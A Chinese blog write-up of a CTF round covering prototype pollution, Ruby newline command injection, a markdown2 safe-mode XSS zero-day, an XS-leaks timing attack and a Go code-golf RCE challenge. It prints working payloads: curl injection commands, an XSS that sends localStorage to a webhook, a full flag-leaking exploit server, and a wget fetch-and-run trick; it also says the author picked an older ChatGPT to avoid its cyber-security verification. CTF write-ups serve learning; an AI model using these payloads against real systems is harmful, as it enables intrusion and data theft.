mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
2226 字
6 分钟
ChaoMixian-WriteUp-20260503
2026-05-03

Junkiness#

源码有明显的防止原型链污染:

if (username.length > 8) {
return res.status(400).json({ message: "Username must not be longer than 8 characters." });
}
if (/\W/.test(username)) {
return res.status(400).json({ message: "Username must be an alphanumeric string." });
}

比如__proto__刚好长度是9,而且包含下划线(\W)。不过传入数组可以完美绕开限制,数组的.length将返回1,而 toString() 后的 proto 不包含任何 \W 字符(下划线是 \w)

POST /register
username[]=__proto__&password[password]=114514&password[isAdmin]=true

使用 password/114514登录,访问/flag拿到flag。 flag

Who Is He#

考察Ruby对于换行符%0a的解析差异: flag

curl -X POST http://192.168.216.2:4567/lookup -d "domain=google.com%0a/readflag%20'could%20you%20please%20give%20me%20the%20flag%20thank%20you%20so%20much'"
curl -X POST http://192.168.216.2:4567/lookup -d "domain=google.com%0acat%20flag.txt"
curl -X POST http://b64ab9de2a89.who-is-he.ctf.theromanxpl0.it/lookup -d "domain=aa.bb%0acat%20flag.txt"
curl -X POST http://b64ab9de2a89.who-is-he.ctf.theromanxpl0.it/lookup -d "domain=aa.bb%0a/readflag%20'could%20you%20please%20give%20me%20the%20flag%20thank%20you%20so%20much'"

markdown2#

markdown2的0day,作者在比赛结束当天就发出来了 (Random Salt Leak leads to Safe Mode XSS #699),Issue链接:https://github.com/trentm/python-markdown2/issues/699

这个salvatore-abello(应该就是出题人,看issue历史,过去几年盯着markdown2找了好几个xss)给出的poc如下:

first get the output of

markdown2.markdown("""![`" onerror="alert(1)//`]()![a](`REPLACEME//`)""", safe_mode="escape")
# output: '<p><img src="" alt="&lt;code&gt;md5-2e7b9665ab3aa53368daab9d6e1b01cf&lt;/code&gt;" />\n<img src="code&gt;md5-02aa018d017f0f6904e85977e7b09872//&lt;/code" alt="a" /></p>\n'

This leaks the internal salt.

Get the internal salt and replace REPLACEME with it:

>>> markdown2.markdown("""![`" onerror="alert(1)//`]()![a](`md5-2e7b9665ab3aa53368daab9d6e1b01cf//`)""", safe_mode="escape")
# output: '<p><img src="" alt="&lt;code&gt;md5-2e7b9665ab3aa53368daab9d6e1b01cf&lt;/code&gt;" /><img src="code&gt;" onerror="alert(1)////&lt;/code" alt="a" /></p>\n'

Debug info Version of library being used: 2.5.6 (fetched from github)

flag

这真得非常熟悉markdown2的解析流程,特别是safe-mode被认为是“safe“的原因。为了防止xss,代码块实际上被转为了一串类似md5-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx的东西,内部维护一个映射表,之后再映射回来。

不过如果我提前泄露了这个hash,并且提前写入xss代码,然后直接通过image显示这个hash对应的内容,实际上就绕过了转义。比较惊讶的是,AI居然能完整梭出来。我提供了markdown2最新的commit的完整仓库压缩包,然后就出了,耗时15分钟。以下是完整的AI输出,是ChatGPT 5.4-Thinking 进阶,不用5.5是因为太容易触发cyber-security验证了。


可以打,关键点是 两阶段 XSS:先泄漏 markdown2 进程内的 code-span hash,再把这个 hash 放进 reference-style image URL,让它在后续反转义阶段变回未转义的代码内容,从而逃逸出 src 属性。

旧的 markdown2 XSS 思路已经被新版修过,比如 code span 注入 image src 的问题和 iframe/srcdoc safe_mode 绕过;这题里还额外先用 bleach.clean(tags=[]) 清掉原生 HTML,所以不能直接套旧 payload。(GitHub)

漏洞链#

后端逻辑大致是:

safe_md = bleach.clean(md, tags=[], attributes={}, protocols=[], strip=True)
html = Markup(markdown2.markdown(safe_md, safe_mode="escape"))

bleach 只是在 Markdown 渲染前清理原始 HTML 标签,但 Markdown 图片语法仍会被 markdown2 转成 <img>

核心问题:

  1. code span 会被 markdown2 存成类似 md5-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 的占位符。
  2. 这个 hash 在同一 Flask 进程内稳定。
  3. 某些位置会把这个 hash 泄漏出来。
  4. reference-style image 的 URL 分支没有及时对 hash 展开并转义,最终在属性中反转义成原始 code 内容。

第一步:泄漏 hash#

提交这个 Markdown:

![`x" onerror=location='https://your-webhook.example/?f='+localStorage.flag//`](x)

渲染结果会类似:

<img src="x" alt="&lt;code&gt;md5-b3c09f3a7b104e6f57afaae24eb95b5f&lt;/code&gt;" />

记下其中的:

md5-b3c09f3a7b104e6f57afaae24eb95b5f

第二步:构造最终 payload#

把上一步泄漏的 hash 放到 reference link 里:

`x" onerror=location='https://your-webhook.example/?f='+localStorage.flag//`
![][r]
[r]: md5-b3c09f3a7b104e6f57afaae24eb95b5f

它会被渲染成类似:

<p><code>x" onerror=location='https://your-webhook.example/?f='+localStorage.flag//</code></p>
<p><img src="x" onerror=location='https://your-webhook.example/?f='+localStorage.flag//" alt="" /></p>

src="x" 加载失败,触发 onerror,然后把 localStorage.flag 带到你的 webhook。

题目的 CSP 里有:

script-src 'self' 'unsafe-inline'

所以内联事件处理器可以执行。

自动化脚本#

注意:bot 先访问的是 http://localhost:1337 并在那里写入 localStorage.flag,所以最终提交给 /report 的 URL 也应该是 http://localhost:1337/?markdown=...,不能用公网 challenge 域名,否则不是同一个 origin,读不到 flag。

import re
from urllib.parse import quote
import requests
PUBLIC = "http://challenge-host:1337" # 你从外部访问题目的地址
BOT_BASE = "http://localhost:1337" # 提交给 bot 访问的地址
CB = "https://webhook.site/xxxxxx?f=" # 换成你的回连地址
js = f'x" onerror=location={CB!r}+localStorage.flag//'
# 1. 泄漏当前 markdown2 进程内的 code-span hash
leak_md = f"![`{js}`](x)"
r = requests.get(PUBLIC + "/", params={"markdown": leak_md}, timeout=10)
m = re.search(r"md5-[a-f0-9]{32}", r.text)
if not m:
print(r.text)
raise SystemExit("[-] hash not found")
h = m.group(0)
print("[+] leaked hash:", h)
# 2. 使用泄漏的 hash 构造最终 XSS
exploit_md = f"`{js}`\n\n![][r]\n\n[r]: {h}"
exploit_url = BOT_BASE + "/?markdown=" + quote(exploit_md, safe="")
print("[+] exploit URL:")
print(exploit_url)
# 3. 上报给 bot
resp = requests.post(PUBLIC + "/report", data={"url": exploit_url}, timeout=10)
print("[+] report status:", resp.status_code)
print(resp.text)

如果成功,你的 webhook 会收到类似:

TRX{...}

一个小前提:这个利用依赖 hash salt 与 _code_table 行为在服务进程内稳定。题目给的 Flask dev server / 单进程部署下可以直接用;如果远端开了多 worker,泄漏 hash 和 bot 访问必须命中同一个进程。


真的无敌了。

are xsleaks dead#

题目给了两个服务:

bot-<hash>...:机器人访问我们提交的 URL,并带着已登录状态。
app-<hash>...:目标站点,内部保存 flag。

Flag 格式:TRX{[a-z0-9_]{30}}

考察search缓存导致的响应速度差异侧信道。通过靶机提供的搜索功能(参数q),当搜索词是flag的前缀时,页面返回结果路径和无结果路径在加载速度缓存行为上存在差异。

不过无法跨域读取页面内容,但可以利用:

window.open(...)
w.location = target
setTimeout(()=>w.stop(), delay)

然后判断窗口是否已经进入cross-origin状态:

try { w.origin } catch(e) { /* cross-origin */ }

如果搜索命中(比方说TRX{X匹配了flag前缀),页面就会很快完成导航;如果未命中,则仍停留在about:blank。然后就可以逐位爆破flag了…吗?

这网络延迟这差异根本感知不出来啊,假阴性,假阳性,每次都不一样,本地还好,远程跑更是无语。。道理是这么个道理…总之来看AI优化的脚本吧: flag

#!/usr/bin/env python3
import argparse
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="0.0.0.0")
parser.add_argument("--port", type=int, default=60012)
parser.add_argument(
"--target",
default="http://web:8000/",
help="must be the same host where bot created sid; local/remote usually http://web:8000/"
)
parser.add_argument(
"--delay",
type=int,
default=None,
help="force STOP_DELAY, e.g. remote try --delay 10"
)
parser.add_argument(
"--prefix",
default="TRX{",
help="known prefix to resume from. Accepts full prefix like TRX{abc or inner prefix like abc"
)
parser.add_argument(
"--trust-unique",
action="store_true",
help="if quick scan returns exactly one candidate, accept it without confirm"
)
args = parser.parse_args()
HOST = args.host
PORT = args.port
TARGET = args.target
FORCE_DELAY = args.delay
TRUST_UNIQUE = args.trust_unique
def normalize_prefix(s: str) -> str:
s = s.strip()
if s.endswith("}"):
s = s[:-1]
if not s.startswith("TRX{"):
s = "TRX{" + s
return s
PREFIX = normalize_prefix(args.prefix)
if len(PREFIX) < len("TRX{"):
raise SystemExit("bad prefix")
if len(PREFIX) > len("TRX{") + 30:
raise SystemExit("prefix too long for TRX{[a-z0-9_]{30}}")
HTML_TEMPLATE = r'''<!doctype html>
<meta charset="utf-8">
<body>
<script>
const TARGET = __TARGET_JSON__;
const FORCE_DELAY = __FORCE_DELAY_JSON__;
const INITIAL_PREFIX = __PREFIX_JSON__;
const TRUST_UNIQUE = __TRUST_UNIQUE_JSON__;
const ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_";
const FLAG_PREFIX = "TRX{";
const SECRET_LEN = 30; // inside braces: TRX{[a-z0-9_]{30}}
const TOTAL_PREFIX_LEN = FLAG_PREFIX.length + SECRET_LEN;
const NEG_SUFFIX = "!"; // impossible in flag alphabet
// Main tuning.
const POOL_SIZE = 10;
const RESET_MS = 85;
const WARM_MS = 240;
const AFTER_STOP_MS = 105;
const BATCH_GAP_MS = 45;
// Voting.
const QUICK_ROUNDS = 2;
const CONFIRM_ROUNDS = 5;
const EXTRA_CONFIRM_ROUNDS = 6;
const RESCUE_ROUNDS = 8;
// Confidence thresholds.
const MIN_MARGIN = 2;
const AMBIG_SCORE_GAP = 40;
let STOP_DELAY = 4;
let prefix = INITIAL_PREFIX;
let pool = [];
let seq = 0;
const sleep = ms => new Promise(r => setTimeout(r, ms));
const rnd = n => Math.floor(Math.random() * n);
function exfil(msg) {
new Image().src = "/leak?d=" + encodeURIComponent(msg) + "&t=" + Date.now() + "-" + Math.random();
}
function makeUrl(q, tag) {
const u = new URL(TARGET);
u.searchParams.set("q", q);
u.searchParams.set("_", tag + "-" + (seq++));
return u.toString();
}
function safeNav(w, url) {
try { w.location = url; } catch (e) {}
}
function isCrossOrigin(w) {
try {
void w.origin;
return false;
} catch (e) {
return true;
}
}
function shuffle(arr) {
arr = arr.slice();
for (let i = arr.length - 1; i > 0; i--) {
const j = Math.floor(Math.random() * (i + 1));
[arr[i], arr[j]] = [arr[j], arr[i]];
}
return arr;
}
async function ensurePool() {
while (pool.length < POOL_SIZE) {
const i = pool.length;
const w = open(
"about:blank",
"chk" + i,
"width=80,height=80,left=" + (i * 15) + ",top=0"
);
if (!w) break;
pool.push(w);
await sleep(20);
}
exfil("pool=" + pool.length);
return pool.length > 0;
}
async function resetWindows(ws) {
for (const w of ws) safeNav(w, "about:blank");
await sleep(RESET_MS + rnd(30));
}
async function runQueries(qs, label, delay = STOP_DELAY) {
const out = new Array(qs.length).fill(false);
for (let off = 0; off < qs.length; off += pool.length) {
const chunk = qs.slice(off, off + pool.length);
const ws = pool.slice(0, chunk.length);
const urls = chunk.map((q, i) => makeUrl(q, label + "-" + (off + i)));
await resetWindows(ws);
for (let i = 0; i < ws.length; i++) safeNav(ws[i], urls[i]);
await sleep(WARM_MS + rnd(45));
await resetWindows(ws);
for (let i = 0; i < ws.length; i++) {
const w = ws[i];
safeNav(w, urls[i]);
setTimeout(() => {
try { w.stop(); } catch (e) {}
}, delay);
}
await sleep(delay + AFTER_STOP_MS + rnd(35));
for (let i = 0; i < ws.length; i++) {
const hit = isCrossOrigin(ws[i]);
out[off + i] = hit;
if (hit) safeNav(ws[i], "about:blank");
}
await sleep(BATCH_GAP_MS + rnd(25));
}
return out;
}
async function calibrate() {
if (!await ensurePool()) {
exfil("popup_blocked");
return false;
}
const delays = [0, 1, 2, 3, 4, 6, 8, 10, 12, 16, 20, 24, 32];
let best = null;
for (const d of delays) {
const n = 8;
const qs = [];
for (let i = 0; i < n; i++) qs.push(FLAG_PREFIX);
for (let i = 0; i < n; i++) qs.push(FLAG_PREFIX + NEG_SUFFIX);
const r = await runQueries(qs, "cal-d" + d, d);
const tp = r.slice(0, n).filter(Boolean).length;
const fp = r.slice(n).filter(Boolean).length;
const score = (tp / n) - (fp / n);
exfil(`cal delay=${d} true=${tp}/${n} false=${fp}/${n} sep=${score.toFixed(2)}`);
const cand = {d, tp, fp, score};
if (
!best ||
cand.fp < best.fp ||
(cand.fp === best.fp && cand.tp > best.tp) ||
(cand.fp === best.fp && cand.tp === best.tp && cand.d < best.d)
) {
best = cand;
}
if (tp >= 5 && fp === 0) {
best = cand;
break;
}
}
if (typeof FORCE_DELAY === "number") {
STOP_DELAY = FORCE_DELAY;
exfil(`using_forced_stop_delay=${STOP_DELAY} cal_best=${best.d} true=${best.tp}/8 false=${best.fp}/8 sep=${best.score.toFixed(2)}`);
} else {
STOP_DELAY = best.d;
exfil(`using_stop_delay=${STOP_DELAY} true=${best.tp}/8 false=${best.fp}/8 sep=${best.score.toFixed(2)}`);
}
return best.tp >= 3 && best.score > 0.05;
}
function topCharsFromCounts(counts, minCount) {
return ALPHABET.split("")
.filter(c => counts[c] >= minCount)
.sort((a, b) => counts[b] - counts[a] || ALPHABET.indexOf(a) - ALPHABET.indexOf(b));
}
async function quickScan(pos) {
const counts = Object.fromEntries(ALPHABET.split("").map(c => [c, 0]));
for (let r = 0; r < QUICK_ROUNDS; r++) {
const order = shuffle(ALPHABET.split(""));
const qs = order.map(c => prefix + c);
const hits = await runQueries(qs, `quick-p${pos}-r${r}`);
let hitstr = "";
for (let i = 0; i < order.length; i++) {
if (hits[i]) {
const c = order[i];
counts[c]++;
hitstr += c;
}
}
exfil(`quick pos=${pos} round=${r} hits=${hitstr || "-"}`);
}
return counts;
}
async function confirmCandidates(pos, candidates, rounds, label) {
const stats = Object.fromEntries(
candidates.map(c => [c, {pos: 0, neg: 0, quick: 0}])
);
for (let r = 0; r < rounds; r++) {
const order = shuffle(candidates);
const qs = [];
for (const c of order) {
qs.push(prefix + c);
qs.push(prefix + c + NEG_SUFFIX);
}
const hits = await runQueries(qs, `${label}-p${pos}-r${r}`);
const line = [];
for (let i = 0; i < order.length; i++) {
const c = order[i];
const ph = hits[2 * i];
const nh = hits[2 * i + 1];
if (ph) stats[c].pos++;
if (nh) stats[c].neg++;
line.push(`${c}:${ph ? 1 : 0}/${nh ? 1 : 0}`);
}
exfil(`confirm pos=${pos} ${label} round=${r} ${line.join(",")}`);
}
return stats;
}
function candidateScore(pos, neg, quick) {
const margin = pos - neg;
if (margin <= 0) {
return -10000 - neg * 100 + quick;
}
return margin * 100 + pos * 8 + quick * 3 - neg * 60;
}
function rankCandidates(candidates, stats, quickCounts) {
return candidates.map(c => {
const s = stats[c] || {pos: 0, neg: 0};
const q = quickCounts[c] || 0;
return {
c,
pos: s.pos,
neg: s.neg,
quick: q,
margin: s.pos - s.neg,
score: candidateScore(s.pos, s.neg, q)
};
}).sort((a, b) =>
b.score - a.score ||
b.margin - a.margin ||
b.pos - a.pos ||
a.neg - b.neg ||
b.quick - a.quick ||
ALPHABET.indexOf(a.c) - ALPHABET.indexOf(b.c)
);
}
function rankedLine(ranked) {
return ranked
.map(x => `${x.c}:p${x.pos}n${x.neg}q${x.quick}m${x.margin}s${x.score}`)
.join(" ");
}
function confident(ranked) {
if (!ranked || ranked.length === 0) return false;
const b = ranked[0];
if (b.margin < MIN_MARGIN) return false;
if (b.pos <= b.neg) return false;
if (ranked.length >= 2) {
const second = ranked[1];
if (second.margin > 0 && b.score - second.score < AMBIG_SCORE_GAP) {
return false;
}
}
return true;
}
async function rescueAll(pos, quickCounts, oldStats) {
exfil(`rescue_all pos=${pos}`);
const all = ALPHABET.split("");
const rescue = await confirmCandidates(pos, all, RESCUE_ROUNDS, "rescue");
const stats = {};
for (const c of all) {
const old = oldStats[c] || {pos: 0, neg: 0};
const now = rescue[c] || {pos: 0, neg: 0};
if (old.pos <= old.neg) {
stats[c] = {pos: now.pos, neg: now.neg};
} else {
stats[c] = {
pos: old.pos + now.pos,
neg: old.neg + now.neg
};
}
}
const ranked = rankCandidates(all, stats, quickCounts);
exfil(`rank_rescue pos=${pos} ` + rankedLine(ranked));
return {stats, ranked};
}
async function leakChar(pos) {
let quickCounts = await quickScan(pos);
let candidates = topCharsFromCounts(quickCounts, 1);
if (candidates.length > 10) {
candidates = topCharsFromCounts(quickCounts, 2).concat(candidates.slice(0, 10));
}
candidates = [...new Set(candidates)].slice(0, 12);
if (candidates.length === 0) {
exfil(`quick_empty pos=${pos}, retry_full_scan`);
const order = shuffle(ALPHABET.split(""));
const qs = order.map(c => prefix + c);
const hits = await runQueries(qs, `quick-retry-p${pos}`);
let hitstr = "";
for (let i = 0; i < order.length; i++) {
if (hits[i]) {
const c = order[i];
quickCounts[c]++;
hitstr += c;
}
}
exfil(`quick pos=${pos} retry hits=${hitstr || "-"}`);
candidates = topCharsFromCounts(quickCounts, 1).slice(0, 12);
}
if (candidates.length === 0) {
candidates = ALPHABET.split("");
exfil(`fallback_all_candidates pos=${pos}`);
}
exfil(`candidates pos=${pos} prefix=${prefix} set=${candidates.join("")}`);
// New option:
// If quick scan found exactly one candidate, allow accepting it immediately.
// Useful when confirm's negative control becomes polluted as c:1/1.
if (TRUST_UNIQUE && candidates.length === 1 && (quickCounts[candidates[0]] || 0) > 0) {
const c = candidates[0];
exfil(`trust_unique pos=${pos} char=${c} q=${quickCounts[c]}`);
return c;
}
let stats = await confirmCandidates(pos, candidates, CONFIRM_ROUNDS, "conf");
let ranked = rankCandidates(candidates, stats, quickCounts);
exfil(`rank pos=${pos} ` + rankedLine(ranked));
if (
ranked.length >= 2 &&
(
ranked[0].score - ranked[1].score < AMBIG_SCORE_GAP ||
ranked[0].margin < MIN_MARGIN ||
ranked[0].pos <= ranked[0].neg
)
) {
const top = ranked
.filter(x => x.margin > 0 || x.quick > 0)
.slice(0, Math.min(6, ranked.length))
.map(x => x.c);
if (top.length > 0) {
exfil(`ambiguous pos=${pos} extra=${top.join("")}`);
const extra = await confirmCandidates(pos, top, EXTRA_CONFIRM_ROUNDS, "extra");
for (const c of top) {
const old = stats[c] || {pos: 0, neg: 0};
if (old.pos <= old.neg) {
stats[c].pos = extra[c].pos;
stats[c].neg = extra[c].neg;
} else {
stats[c].pos += extra[c].pos;
stats[c].neg += extra[c].neg;
}
}
ranked = rankCandidates(candidates, stats, quickCounts);
exfil(`rank2 pos=${pos} ` + rankedLine(ranked));
}
}
if (!confident(ranked)) {
const rescued = await rescueAll(pos, quickCounts, stats);
stats = rescued.stats;
ranked = rescued.ranked;
}
const best = ranked[0];
if (!best) return null;
if (!confident(ranked)) {
exfil(`low_confidence pos=${pos} best=${best.c} p=${best.pos} n=${best.neg} q=${best.quick} margin=${best.margin}`);
return null;
}
exfil(`choose pos=${pos} char=${best.c} p=${best.pos} n=${best.neg} q=${best.quick} margin=${best.margin}`);
return best.c;
}
async function main() {
exfil("start target=" + TARGET);
exfil("start_prefix=" + prefix + "}");
if (!prefix.startsWith(FLAG_PREFIX)) {
exfil("bad_prefix");
return;
}
if (prefix.length > TOTAL_PREFIX_LEN) {
exfil("prefix_too_long");
return;
}
const ok = await calibrate();
if (!ok) {
exfil("calibration_failed_but_trying_anyway");
}
const startPos = prefix.length - FLAG_PREFIX.length;
exfil(`resume start_pos=${startPos} remaining=${SECRET_LEN - startPos} trust_unique=${TRUST_UNIQUE ? 1 : 0}`);
for (let i = startPos; i < SECRET_LEN; i++) {
const c = await leakChar(i);
if (!c) {
exfil("failed_at=" + prefix);
return;
}
prefix += c;
exfil("partial=" + prefix + "}");
}
exfil("flag=" + prefix + "}");
for (const w of pool) {
try { w.close(); } catch (e) {}
}
}
main();
</script>
</body>'''
HTML = (
HTML_TEMPLATE
.replace("__TARGET_JSON__", json.dumps(TARGET))
.replace("__FORCE_DELAY_JSON__", json.dumps(FORCE_DELAY))
.replace("__PREFIX_JSON__", json.dumps(PREFIX))
.replace("__TRUST_UNIQUE_JSON__", json.dumps(TRUST_UNIQUE))
)
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
if parsed.path == "/leak":
qs = parse_qs(parsed.query)
print("[LEAK]", qs.get("d", [""])[0], flush=True)
body = b"ok"
content_type = "text/plain; charset=utf-8"
else:
print("[REQ]", self.client_address, self.path, flush=True)
body = HTML.encode()
content_type = "text/html; charset=utf-8"
self.send_response(200)
self.send_header("Content-Type", content_type)
self.send_header("Cache-Control", "no-store")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
pass
if __name__ == "__main__":
print(f"serving http://0.0.0.0:{PORT}/exploit.html", flush=True)
print(f"TARGET = {TARGET}", flush=True)
print(f"PREFIX = {PREFIX}}}", flush=True)
print(f"TRUST_UNIQUE = {TRUST_UNIQUE}", flush=True)
if FORCE_DELAY is not None:
print(f"FORCE_DELAY = {FORCE_DELAY}", flush=True)
HTTPServer((HOST, PORT), Handler).serve_forever()
  • 多窗口并发探测
  • 自动校准 stop() 时机
  • 多轮投票确认
  • 随机化请求顺序,避免缓存污染

慢是慢了点,但好在非常稳定了。

misc-gogolf#

非常有趣啊,72字符写go,一个容器,会生成在/tmp/gogolf-xxxxxxx/main.go,然后go run它,5s超时。需要rce执行/readflag pls,并且是nc上去的,需要最终拿到flag。

首先先简单介绍能用的基本操作:

可以创建符号链接,这个最重要了:

package main
import"os"
func main(){os.Symlink("/readflag","/tmp/x")}

可以执行shell命令,注意是shell,不是elf,shell是shell,而且是busybox的shell。。。

package main
import."os/exec"
func main(){Command("/tmp/x","pls").Run()}

可以执行系统调用去执行,需要传入绝对地址,不能是shell命令,但shebang好像可以:

package main;import."syscall";func main(){Exec("/go/a",[]string{},nil)}

可以写文件,但最多写三个字符,而且是覆盖写入:

package main;import."os";func main(){WriteFile("/go/e",[]byte("x"),7)}

可以cgo报错回显带出flag,比方说flag已经存在/tmp/f里了:

//#include "/tmp/f"
import "C"

另外/go/bin在环境变量里,如果有/go/bin/r符号链接到/readflag,直接执行r命令就能执行/readflag。

另外也有限制,busybox是所有工具的集合,意味着实际上各种命令都是到busybox的符号链接,需要传入arg[0]来让busybox知道到底在调用啥。所以符号链接到busybox不可行(说不定行呢?

至此,一般思路能给到的前提条件就这样了。要做这道题需要有非常扎实的linux基础和对shell的理解。我看了别人的exp,个人感觉可以分为两大流派,shell流和linux流(😂)。前者主要利用shell的灵活性,包括*通配符展开等等特性以及.profile的影响;linux流需要熟悉linux虚拟文件系统,特别是/proc/<pid>/下的妙妙衔接。

这里先零散的给出各自用到的trick:

  • .profile: 往~/.profile写入cd命令,然后使用sh -lc,通过这个l参数,即可使用login shell来执行,而login shell又会默认加载~/.profile并且自动执行其中的命令来作为初始化。这意味着,pwd直接去/home/ctf了,而这里没有非隐藏文件,随便通配符展开,而且还不用手动chdir;
  • wget: 这个真的神来之笔,靶机出网,直接下载外来命令执行了。wget默认会下载index.html,之后执行这个玩意将flag写入一个文件比如/tmp/f,之后用cgo的include报错带出。至于如何执行wget呢,就要结合上一个trick,创建文件名为wgetx.example.com这两个文件,需要按照字母表顺序排列,然后sh -lc *,卧槽太妙了。
  • polyglot: 构造一段不会让go报错同时能被当成shell脚本的代码,比如//;/re* pls>/tmp/f,go里是注释掉了,shell会忽略开头的三个字符。
  • copy: /tmp/gogolf-xxxxxxx每次都会被删掉,但如果复制到其他目录比如/go下,就有搞头了。需要注意的是,得让这个go程序运行足够久,要在被删掉前完成复制,这个可以用package main;import."time";func main(){Sleep(3e9)},也可以用作者的预期解,去读/dev/**urandom**来卡住程序;
  • 虚拟文件系统: /proc/<pid>/cwd可以用来获取那个程序的目录来精准复制,当然也可以爆破…这些都需要通过符号链接来缩短长度。

够了,足够了吧,接下来就是自由组合。不过这题72字符其实有些牵强,如果不考虑wget的野路子,实际上成功率是很低的,/tmp/gogolf-xxxxxxx是用go的TempDir生成的,这个随机文件名的x长度为止,大多数时候都是12位,题目需要去爆破它<=8位的时候,而恰巧arm64的golang的这个接口基本不会出现8位的情况(可能是不可能的,有待验证),而我本机模拟x86跑docker巨慢,导致竞争根本没法发生,在复现的时候踩了非常多的坑(这exp怎么都跑不通啊!

exp一坨屎,等我理得更清楚些再放上来…

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260503
https://blog.chaomixian.top/posts/chaomixian-writeup-20260503/
作者
炒米线
发布于
2026-05-03
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录